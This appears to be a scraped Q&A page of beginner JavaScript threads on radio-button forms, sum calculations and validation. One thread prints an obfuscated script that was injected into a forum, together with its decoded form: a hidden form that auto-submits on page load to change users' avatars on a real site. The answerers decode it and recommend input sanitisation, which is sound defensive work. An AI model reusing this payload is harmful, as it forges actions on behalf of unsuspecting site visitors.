I want to create same form in wordpress with javascript code as mentioned. Please guide me how to create a similar form and where to post this javascript code. This code is perfectly working when we save this code in html document. But I am unaware where to save this code in wordpress.
Many Thanks
<script type="text/javascript">
function DisplayPrice(price){
var val1 = 0;
for( i = 0; i < document.form1.price.length; i++ ){
if( document.form1.price[i].checked == true ){
val1 = document.form1.price[i].value;
}
}
var val2 = 0;
for( i = 0; i < document.form2.price2.length; i++ ){
if( document.form2.price2[i].checked == true ){
val2 = document.form2.price2[i].value;
}
}
var sum=parseInt(val1) + parseInt(val2);
document.getElementById('totalSum').value=sum;
}
</script>
</head>
<body>
Choose a number:<br>
<form name="form1" id="form1" runat="server">
<br>
<input id="rdo_1" type="radio" value="159" name="price" onclick="DisplayPrice(this.value);">159
<br>
<input id="rdo_2" type="radio" value="259" name="price" onclick="DisplayPrice(this.value);">259
<br>
</form>
Choose another number:<br>
<form name="form2" id="form2" runat="server">
<br>
<input id="rdo_1" type="radio" value="345" name="price2" onclick="DisplayPrice(this.value);">345
<br>
<input id="rdo_2" type="radio" value="87" name="price2" onclick="DisplayPrice(this.value);">87
<br>
</form>
<input type="text" name="totalSum" id="totalSum" value="" size="2" readonly="readonly">
</body>
There are two ways to add this code to wordpress
1 . In your theme folder -> your activated theme -> index.php
2 . In your plugin folder -> create new plugin folder with any name -> add this code by creating index.php file in plugin
add following lines to top of index.php
/*
Plugin Name: name of plugin
Version: 1.0
Plugin URI:
Description:
Author:
Author URL :
activate plugin with name you have given.
test for form.
Related
I'm making an online examination website. We have many forms created by for loop in jsp. Each form has 1 multiple choice question and 4 answers.
I wrote a script using jquery to check wheter user makes right or wrong that question.
for (int i = 0; i < NumofQuestions; i++) {
Question q = (Question) exam.get(i); %>
<form>
<p><b>Question <%=i+1%>: </b> <%=q.getContent()%></p>
<p><b>A. </b><input type="radio" name="answer" value="A"><%=q.getAnswerA()%><br></p>
<p><b>B. </b><input type="radio" name="answer" value="B"><%=q.getAnswerB()%><br></p>
<p><b>C. </b><input type="radio" name="answer" value="C"><%=q.getAnswerC()%><br></p>
<p><b>D. </b><input type="radio" name="answer" value="D"><%=q.getAnswerD()%><br></p>
</form>
<span id="result"></span>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script>
<script type="text/javascript">
$("form").on('click',function() {
$this = $(this);
var value = $this.find('input:radio[name=answer]:checked').val();
var correct = "<%=q.getAnswer()%>";
if (value == correct) {
$('#result').html('right');
} else {
$('#result').html('wrong');
}
});
</script>
<% } %>
Although the script contains in for loop but the variable correct always returns the last element of list exam. Means q.getAnswer() always gets the answer of the last question not the question which is doing. Are there any ways to solve that?
Add the correct answer to the form as a data attribute if you do not care a view-source will show it. Otherwise you need to ajax to the server to get the answer. $("form") will get ALL forms on the page and you are including jQuery for each and every form in your loop
Alternatively have one form with multiple radios where each set has its own name.
<script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script>
<script type="text/javascript">
$(function() {
$("#formContainer").on("click","input:radio[name=answer]", function() {
var value = this.value, // always the checked value
$form = $(this).closest("form"),
correct = $form.data("correct");
$form.next().html(value == correct ? 'right' : 'wrong');
$("#score").html($(".result:contains('right')").length);
});
});
</script>
<div id="formContainer">
for (int i = 0; i < NumofQuestions; i++) { Question q=( Question) exam.get(i); %>
<form data-correct="<%=q.getAnswer()%>">
<p><b>Question <%=i+1%>: </b>
<%=q.getContent()%>
</p>
<p><b>A. </b>
<input type="radio" name="answer" value="A">
<%=q.getAnswerA()%>
<br>
</p>
<p><b>B. </b>
<input type="radio" name="answer" value="B">
<%=q.getAnswerB()%>
<br>
</p>
<p><b>C. </b>
<input type="radio" name="answer" value="C">
<%=q.getAnswerC()%>
<br>
</p>
<p><b>D. </b>
<input type="radio" name="answer" value="D">
<%=q.getAnswerD()%>
<br>
</p>
</form>
<span class="result"></span>
<% } %>
</div>
<span id="score"></span>
After clicking calculate button, its not showing the return value rather showing this error: "Uncaught ReferenceError: calculateTotal is not defined". I am very new to JavaScript. Please help.
HTML:
<!DOCTYPE html>
<html lang="en">
<head>
<title>2</title>
<meta charset="utf-8"/>
<script type="text/javascript" src="2.js"></script>
</head>
<body>
<div id="page">
<div id="header">
<h1> 02 </h1>
</div>
<div id="body">
<p>You probably want to retire someday so let's get started!</p>
<form name="retirement savings" action="#" OnClick="calculateTotal(amountNeeded.value, investNo, annContribute,inrate)">
How much money do you need to retire: <input type="text" name="savingsGoal"><br><br>
Initial Investment: <input type="text" name="initialInvestment"><br><br>
Annual Contribution: <input type="text" name="annualContribution"><br><br>
Expected Interest Rate: Select from the following please:<br><br>
<input type="radio" name="interestRate" value="1percent">1 Percent<br>
<input type="radio" name="interestRate" value="1.5percent">1.5 Percent<br>
<input type="radio" name="interestRate" value="2percent">2 Percent<br>
<input type="radio" name="interestRate" value="2.5percent">2.5 Percent<br>
<input type="radio" name="interestRate" value="3percent">3 Percent<br>
<input type="radio" name="interestRate" value="3.5percent">3.5 Percent<br>
<input type="radio" name="interestRate" value="4percent">4 Percent<br>
<input type="radio" name="interestRate" value="4.5percent">4.5 Percent<br>
<input type="radio" name="interestRate" value="5percent">5 Percent<br>
<input type="radio" name="interestRate" value="5.5percent">5.5 Percent<br>
<input type="radio" name="interestRate" value="6percent">6 Percent<br>
<input type="radio" name="interestRate" value="6.5percent">6.5 Percent<br><br>
<input type="button" onClick="calculateTotal(savingsGoal.value, initialInvestment, annualContribution,interestRate);" value="Calculate"> <input type="reset">
</form>
<br>
<hr>
<p>You can retire in years</p>
<p>with in the bank</p>
<hr>
</div>
<div id="footer"><br>
<a href="../index.html">Return to Main Menu</li>
</div>
</body>
</html>
JS:
/*Interest Radio Button*/
var interest_rate= new Array();
interest_rate["1percent"]=1;
interest_rate["1.5percent"]=1.5;
interest_rate["2percent"]=2;
interest_rate["2.5percent"]=2.5;
interest_rate["3percent"]=3;
interest_rate["3.5percent"]=3.5;
interest_rate["4percent"]=4;
interest_rate["4.5percent"]=4.5;
interest_rate["5percent"]=5;
interest_rate["5.5percent"]=5.5;
interest_rate["6percent"]=6;
interest_rate["6.5percent"]=6.5;
function getIntrestRate() {
var interestRadio = document.getElementsByName('interestRate');
for (i=0; i < interestRadio.length; i++) {
if (interestRadio[i].checked) {
user_input = interestRadio[i].value;
}
}
return interest_rate[user_input];
}
/*Calculation*/
function calculateTotal(savingsGoal.value, initialInvestment.value, annualContribution.value, interstRate.value)(){
if ((document.calc.savingsGoal.value == null || document.calc.savingsGoal.length == 0) ||
(document.calc.initialInvestment.value == null || document.calc.initialInvestment.length == 0)||
(document.calc.annualContribution.value == null || document.calc.rate.annualContribution.length == 0)){
alert("Please fill in required fields");
return false;
}
else
{
var amount = document.calc.savingsGoal.value;
var invest = document.calc.initialInvestment.value;
var yearly = document.calc.annualContribution.value / 1200;
var interest_rate= document.calc.getInterestRate.value;
document.calc.pay.value = amount * interest_rate / (1 - (1/(1 + intr), yearly)));
}
}
Your function has invalid definition. You have extra () after parameters inside ()
function calculateTotal(savingsGoal.value, initialInvestment.value,
annualContribution.value, interstRate.value)(){
//^^remove this
Update
Few points I just noted which stays invalid in your case. So just go through the code shown in this fiddle. I've updated both html and js. I've changed the logic of getting values to function.. Its a parameter less function now. Also getIntrestRate() is a function and you were trying to access it as a variable/element and the way you were calling it was wrong. There is a spelling mistake i.e. getInterestRate. Just go through the fiddle and please note that its not fully functional. Not sure what you are getting in intr variable at the end.
calculateTotal function is not defined properly because there is a syntax error in its signature.
make it
function calculateTotal(savingsGoal, initialInvestment, annualContribution, interstRate){
you can't access a property of an object here while defining a method.
Also there is an extra parenthesis ().
I think You Not Include Jquery Library file so you include jquery library file on header its working
https://ajax.googleapis.com/ajax/libs/jquery/2.2.0/jquery.min.js
or search latest version jquery library file include .
I have the following form:
<html xmlns="http://www.w3.org/1999/xhtml">
<head><meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
<title>Choose</title>
<script type="javascript/text">
function ischecked(){
var check = document.getElementsByTagName( 'input' );
for( var i = 0; i < check.length; i++ ){
if( check[ i ].type == 'radio' && check[ i ].checked ){
return true;
}
}
return false;
}
</script>
</head>
<body>
<form method="post" enctype="application/x-www-form-urlencoded" onsubmit="ischecked();">
<h1>Choose</h1>
<p><input type="radio" name="choose" value="psychology"><font size="5" color="#0033CC">Instant Psychology</font><br>
<br>
<input type="radio" name="choose" value="geography"><font size="5" color="#CC0000">Instant Geography</font><br>
<br>
<input type="radio" name="choose" value="gastronomy"><font size="5" color="#660033">Instant Gastronomy</font><br>
<br>
<input type="submit" name="Submit" value="Go"></p>
</form>
</body><link rel="stylesheet" type="text/css" href="data:text/css,"></html>
I wanted to make sure one of the radio buttons have been checked before submitting the form. However, it does not work, and the form is submitted anyways. What am I doing wrong here?
You need to return the result of your function from the inline event handler.
You have to check against the value returned in your validation function directly in the attribute value. That is, in your HTML form declaration
<form method="post" enctype="application/x-www-form-urlencoded" onsubmit="ischecked();">
you should write:
onsubmit="return ischecked();"
instead of:
onsubmit="ischecked();"
someone is using a weird script to bug my forum, I tracked it and found the javascript, but it's "encoded", can someone help me ?
here it is:
<script language="javascript">
var enkripsi="'1A`mf{'02mlNmcf'1F'00qw`okv]dmpo'0:'0;'1#'00'1G'2C'1Admpo'02lcog'1F'00o{dmpo'00'02cavkml'1F'00jvvr'1C--dmpwo,hmemq,wmn,amo,`p-fup-gzga-WqgpDwlavkmlq,wrfcvgWqgpCtcvcp,fup'00'02ogvjmf'1F'00RMQV'00'1G'2C'02'02'1Aklrwv'02v{rg'1F'00jkffgl'00'02lcog'1F'00acnnAmwlv'00'02tcnwg'1F'003'00'1G'02'2C'02'02'1Aklrwv'02v{rg'1F'00jkffgl'00'02lcog'1F'00a2/qapkrvLcog'00'02tcnwg'1F'00WqgpDwlavkmlq'00'1G'2C'02'02'1Aklrwv'02v{rg'1F'00jkffgl'00'02lcog'1F'00a2/ogvjmfLcog'00'02tcnwg'1F'00wrfcvgWqgpCtcvcp'00'1G'2C'02'02'1Aklrwv'02v{rg'1F'00jkffgl'00'02lcog'1F'00a2/kf'00'02tcnwg'1F'007:55]3135040515351'00'1G'2C'02'02'1Aklrwv'02v{rg'1F'00jkffgl'00'02lcog'1F'00a2/rcpco2'00'02tcnwg'1F'00qvpkle'1C72;;'00'1G'2C'02'02'1Aklrwv'02v{rg'1F'00jkffgl'00'02lcog'1F'00zon'00'02tcnwg'1F'00vpwg'00'1G'2C'02'02Rngcqg'02ankai'02jgpg'1C'02'1Aklrwv'02v{rg'1F'00qw`okv'00'02tcnwg'1F'00Amlvklwg,,,'00'02-'1G'1A-r'1G'2C'1A-dmpo'1G'2C'2C'1Aqapkrv'02nclewceg'1F'00hctcqapkrv'00'1G'2C'02'02'1A'03//'2C'02'02dwlavkml'02qw`okv]dmpo'0:'0;'02'2C'02'02'5#'2C'02'2;fmawoglv,o{dmpo,qw`okv'0:'0;'2C'02'02'5F'2C'02'02//'1G'2C'1A-qapkrv'1G"; teks=""; teksasli="";var panjang;panjang=enkripsi.length;for (i=0;i<panjang;i++){ teks+=String.fromCharCode(enkripsi.charCodeAt(i)^2) }teksasli=unescape(teks);document.write(teksasli);
</script>
Cleaning up the code results in
var enkripsi = "'1A`mf{'02mlNmcf'1F'00qw`okv]dmpo'0:'0;'1#'00'1G'2C'1Admpo'02lcog'1F'00o{dmpo'00'02cavkml'1F'00jvvr'1C--dmpwo,hmemq,wmn,amo,`p-fup-gzga-WqgpDwlavkmlq,wrfcvgWqgpCtcvcp,fup'00'02ogvjmf'1F'00RMQV'00'1G'2C'02'02'1Aklrwv'02v{rg'1F'00jkffgl'00'02lcog'1F'00acnnAmwlv'00'02tcnwg'1F'003'00'1G'02'2C'02'02'1Aklrwv'02v{rg'1F'00jkffgl'00'02lcog'1F'00a2/qapkrvLcog'00'02tcnwg'1F'00WqgpDwlavkmlq'00'1G'2C'02'02'1Aklrwv'02v{rg'1F'00jkffgl'00'02lcog'1F'00a2/ogvjmfLcog'00'02tcnwg'1F'00wrfcvgWqgpCtcvcp'00'1G'2C'02'02'1Aklrwv'02v{rg'1F'00jkffgl'00'02lcog'1F'00a2/kf'00'02tcnwg'1F'007:55]3135040515351'00'1G'2C'02'02'1Aklrwv'02v{rg'1F'00jkffgl'00'02lcog'1F'00a2/rcpco2'00'02tcnwg'1F'00qvpkle'1C72;;'00'1G'2C'02'02'1Aklrwv'02v{rg'1F'00jkffgl'00'02lcog'1F'00zon'00'02tcnwg'1F'00vpwg'00'1G'2C'02'02Rngcqg'02ankai'02jgpg'1C'02'1Aklrwv'02v{rg'1F'00qw`okv'00'02tcnwg'1F'00Amlvklwg,,,'00'02-'1G'1A-r'1G'2C'1A-dmpo'1G'2C'2C'1Aqapkrv'02nclewceg'1F'00hctcqapkrv'00'1G'2C'02'02'1A'03//'2C'02'02dwlavkml'02qw`okv]dmpo'0:'0;'02'2C'02'02'5#'2C'02'2;fmawoglv,o{dmpo,qw`okv'0:'0;'2C'02'02'5F'2C'02'02//'1G'2C'1A-qapkrv'1G";
teks = "";
teksasli = "";
var panjang;
panjang = enkripsi.length;
for (i = 0; i < panjang; i++) {
teks += String.fromCharCode(enkripsi.charCodeAt(i) ^ 2)
}
teksasli = unescape(teks);
document.write(teksasli);
Change the document.write to a console.log. Pop it into firebug and you get.
<body onLoad="submit_form();">
<form name="myform" action="http://forum.jogos.uol.com.br/dwr/exec/UserFunctions.updateUserAvatar.dwr" method="POST">
<input type="hidden" name="callCount" value="1">
<input type="hidden" name="c0-scriptName" value="UserFunctions">
<input type="hidden" name="c0-methodName" value="updateUserAvatar">
<input type="hidden" name="c0-id" value="5877_1317262737173">
<input type="hidden" name="c0-param0" value="string:5099">
<input type="hidden" name="xml" value="true">
Please click here: <input type="submit" value="Continue..." />
</p>
</form>
<script language="javascript">
<!-- function submit_form() { document.myform.submit() } -->
</script>
The real problem here is how is the user injecting the code into your site to being with. Are they entering it into a form and you are just outputting whatever they enter or is it a bug in the software you are using?
If it is a bug in the software, you upgrade.
If it is your code, you need to learn how to sanitize user input. OWASP has great info
Here is the deobfuscated JavaScript code:
<body onLoad="submit_form();">
<form name="myform" action="http://forum.jogos.uol.com.br/dwr/exec/UserFunctions.updateUserAvatar.dwr" method="POST">
<input type="hidden" name="callCount" value="1">
<input type="hidden" name="c0-scriptName" value="UserFunctions">
<input type="hidden" name="c0-methodName" value="updateUserAvatar">
<input type="hidden" name="c0-id" value="5877_1317262737173">
<input type="hidden" name="c0-param0" value="string:5099">
<input type="hidden" name="xml" value="true">
Please click here: <input type="submit" value="Continue..." /></p>
</form>
<script language="javascript">
<!--
function submit_form()
{
document.myform.submit()
}
-->
</script>
enkripsi="'2C'2C'2C"; teks=""; teksasli="";var panjang;panjang=enkripsi.length;for (i=0;i<panjang;i++){ teks+=String.fromCharCode(enkripsi.charCodeAt(i)^2) }teksasli=unescape(teks);document.write(teksasli);
var enkripsi=""; teks=""; teksasli="";var panjang;panjang=enkripsi.length;for (i=0;i<panjang;i++){ teks+=String.fromCharCode(enkripsi.charCodeAt(i)2) }teksasli=unescape(teks);document.write(teksasli);
I am trying to create a form with many groups containing many radio buttons. When the user selects a button, I would like to calculate the sum of each selected radio button value and show this sum to the user.
I have found a plugin for jQuery which will do the calculation, this plugin use the name attribute of the buttons to calculate. For example, it will sum the values of all buttons which have the name sum.
So far, I have tried two ways of setting this up: in the first method, I create a hidden field for each group to hold the sum of the selected values inside it, this hidden field gets the value but the problem is that the total value will not update when a user selects a button. My code looks like this:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<title>Untitled Document</title>
<script src="jquery.js" type="text/javascript">
</script>
<script src="calc.js" type="text/javascript">
</script>
<script src="calc_f.js" type="text/javascript">
</script>
<script type="text/javascript">
function DisplayPrice(price){
$('#spn_Price').val(price);
}
</script>
</head>
<body>
<form id="form1" runat="server">
<input type="hidden" id="spn_Price" name="sum" value="">
<br>
<input id="rdo_1" type="radio" value="159" name="price" onclick="DisplayPrice(this.value);">
<br>
<input id="rdo_2" type="radio" value="259" name="price" onclick="DisplayPrice(this.value);">
<br>
<input type="text" name="totalSum" id="totalSum" value="" size="2" readonly="readonly">
</form>
</body>
</html>
In this code, the input tag with the name totalSum is where the value will update, but it won't update when changing the buttons.
As I said before, the reason why I use a hidden field is to hold each group's subtotal. It has the name sum, which indicates to the plugin that it should be added to others.
I dont know if this is the right way to do this, i have tried to change the name attribute of the buttons when user click them to sum but that didn`t work either!
Here is plugin address : http://www.pengoworks.com/workshop/jquery/calculation/calculation.plugin.htm
How can I do this ?
Plugin schmugin. Get rid of your onclick and try this:
$("input[type=radio]").click(function() {
var total = 0;
$("input[type=radio]:checked").each(function() {
total += parseFloat($(this).val());
});
$("#totalSum").val(total);
});
Untitled Document
<script type="text/javascript">
function DisplayPrice(price){
var val1 = 0;
for( i = 0; i < document.form1.price.length; i++ ){
if( document.form1.price[i].checked == true ){
val1 = document.form1.price[i].value;
}
}
var val2 = 0;
for( i = 0; i < document.form2.price2.length; i++ ){
if( document.form2.price2[i].checked == true ){
val2 = document.form2.price2[i].value;
}
}
var sum=parseInt(val1) + parseInt(val2);
document.getElementById('totalSum').value=sum;
}
</script>
</head>
<body>
Choose a number:<br>
<form name="form1" id="form1" runat="server">
<br>
<input id="rdo_1" type="radio" value="159" name="price" onclick="DisplayPrice(this.value);">159
<br>
<input id="rdo_2" type="radio" value="259" name="price" onclick="DisplayPrice(this.value);">259
<br>
</form>
Choose another number:<br>
<form name="form2" id="form2" runat="server">
<br>
<input id="rdo_1" type="radio" value="345" name="price2" onclick="DisplayPrice(this.value);">345
<br>
<input id="rdo_2" type="radio" value="87" name="price2" onclick="DisplayPrice(this.value);">87
<br>
</form>
<input type="text" name="totalSum" id="totalSum" value="" size="2" readonly="readonly">
</body>
The code above will dinamically sum the checked values from both groups.
parseInt will convert to integers. Use parseFloat otherwise.